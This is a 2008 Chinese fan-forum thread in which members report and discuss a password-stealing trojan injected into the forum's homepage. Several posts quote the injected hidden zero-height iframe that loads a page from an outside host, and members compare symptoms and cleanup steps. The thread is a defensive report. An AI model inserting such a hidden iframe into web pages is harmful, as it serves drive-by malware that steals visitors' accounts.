[11-03] 论坛首页有木马?

没有明天

在首页的最底部，有这么一行代码

<iframe src=http://www.jznylsf.cn/wxyj/2.htm width=50 height=0 border=0></iframe>

不知道大家浏览首页时有没有

这是个盗号木马

如果不是被黑的话，那就是服务器的局域网内有机子中了ARP病毒

大家看看是不是有这么一行代码，还是我自己机器的问题

hou:37


在首页，点右键 选择“查看源文件”，然后拉到最下面，看看有没有这行代码。



.

[ 本帖最后由 没有明天 于 2008-11-3 23:06 编辑 ]

ＧＸ３３９－４

我这边是没有滴

★李真贤★

我的电脑总弹出一个窗口要我安装，就前10分前，现在一直有，只要到首页就有了，我怀疑真的重了木马！！hou:47

贤迷达人

我这里有啊,大号一上就报毒hou:87 hou:63

第一次爱的人

看了一下 没有额hou:3  hou:35

贤迷达人

原帖由 ★李真贤★ 于 2008-11-3 22:55 发表
我的电脑总弹出一个窗口要我安装，就前10分前，现在一直有，只要到首页就有了，我怀疑真的重了木马！！hou:47

同病相连啊,我是zhangguo11

★李真贤★

原帖由 贤迷达人 于 2008-11-3 22:56 发表




同病相连啊,我是zhangguo11

不知道怎么回事，真的郁闷，看样子要杀毒了，否则会受影响的哟

贤贤家滴兲贞

没有那个地址hou:32

★李真贤★

我只要到了首页，它就会自动安装一个叫windows Installer东西，然后安装又失败，总是这样，气死人了hou:47

深海魅影

我这边没有啊！！！
应该没什么事吧！！

南霆秀一

我没有 但是 打开主页 第一次 的时候  杀毒有提醒   以后没了

第一次爱的人

原帖由 贤迷达人 于 2008-11-3 22:56 发表




同病相连啊,我是zhangguo11

大号上不去hou:165  小号出来了hou:165

贤迷达人

hou:6 有啥好笑的,我正郁闷呢

ＧＸ３３９－４

鄙视你的小黑屋住户hou:66

第一次爱的人

原帖由 贤迷达人 于 2008-11-3 23:06 发表
hou:6 有啥好笑的,我正郁闷呢

都要逗死我了. ..

是在是真的受不了，不笑不行额hou:14hou:165 hou:165

没有明天

我是说首页的源代码的最底部

就是 在首页，点右键 选择“查看源文件”

最下面那行

也没有吗

第一次爱的人

原帖由 兩張紙 于 2008-11-3 23:07 发表
鄙视你的小黑屋住户hou:66

谢谢hou:14 ..  下次我会更努力的....hou:13

贤贤家滴兲贞

你不是说去睡觉了吗hou:34
大号上不了啊hou:34

李真闲

hou:45  把所有杀毒软件卸载~~就不会有病毒了

贤迷达人

郁闷的睡不觉,又开机,发现上小号不会报毒,只会跳框

★李真贤★

原帖由 没有明天 于 2008-11-3 22:53 发表
在首页的最底部，有这么一行代码



不知道大家浏览首页时有没有

这是个盗号木马

如果不是被黑的话，那就是服务器的局域网内有机子中了ARP病毒

大家看看是不是有这么一行代码，还是我自己机器的问题

...

亲，我这里真的有呀
看下面：<script src="include/jf.js" type="text/javascript"></script>
</body>
</html><iframe src=http://www.jznylsf.cn/wxyj/2.htm width=50 height=0 border=0></iframe>

★李真贤★

点右键 选择“查看源文件”，然后记事本里面，那里面有好多的代码

zhangguo22

hou:47 终于让我进来了

zhangguo22

去网上确认是一下,这代码确实,网上有的网站也中招了

第一次爱的人

原帖由 zhangguo11 于 2008-11-3 23:22 发表
hou:47 终于让我进来了

额..你咋来了腻  不是进不来么~

zhangguo22

原帖由 第一次爱的人 于 2008-11-3 23:28 发表


额..你咋来了腻  不是进不来么~

确认了是网站的问题,只要把木马网页关联的程序删了就OK了hou:47


s:31 刚才话,我紧记在心

第一次爱的人

原帖由 zhangguo11 于 2008-11-3 23:29 发表



确认了是网站的问题,只要把木马网页关联的程序删了就OK了hou:47

s:31 刚才话,我紧记在心

问问 删什么关联的东西，怎么删？
刚才小小玩笑 不会介意的额~hou:41 hou:39

zhangguo22

原帖由 第一次爱的人 于 2008-11-3 23:32 发表



问问 删什么关联的东西，怎么删？
刚才小小玩笑 不会介意的额~hou:41 hou:39

它关联了我的风雷,从而跳转网页s:30

第一次爱的人

原帖由 zhangguo11 于 2008-11-3 23:34 发表



它关联了我的风雷,从而跳转网页s:30

那我这里怎么一点问题没有额~ 那是为什么呢hou:37

没有明天

原帖由 zhangguo11 于 2008-11-3 23:28 发表
去网上确认是一下,这代码确实,网上有的网站也中招了

你那儿首页也有这行代码是吧


这就是一种盗号木马


内存占用一般在200M左右


如果电脑的内存在512M以上的，基本上感觉不出来卡机，很隐蔽。


主要是盗号，毒不是很厉害，不自动散播。

第一次爱的人

也是电脑高手s:11

研究的都这么明白s:35

zhangguo22

原帖由 没有明天 于 2008-11-3 23:38 发表




你那儿首页也有这行代码是吧


这就是一种盗号木马


内存占用一般在200M左右


如果电脑的内存在512M以上的，基本上感觉不出来卡机，很隐蔽。


主要是盗号，毒不是很厉害，不自动散播。

卡巴会自动查杀,但是一查杀居就进不了了s:32

起子

怎么办呢，汗，大叔？？~~~

zhangguo22

先删了这句代码 <iframe src=http://www.jznylsf.cn/wxyj/2.htm width=50 height=0 border=0></iframe>

起子

貌似只有服务器那边能解决了~~~

没有明天

如果有FTP帐号的话

先在FTP上把这行代码删了

对PHP我不懂哦，不知道这人是怎么入侵进来的

zhangguo22

据我的经验,应该是通过附件上传

没有明天

现在没了





……

南霆秀一

hou:45 真晕 最近 小心  有人下黑手

Tae1

现在还有吗？刚才一直在处理！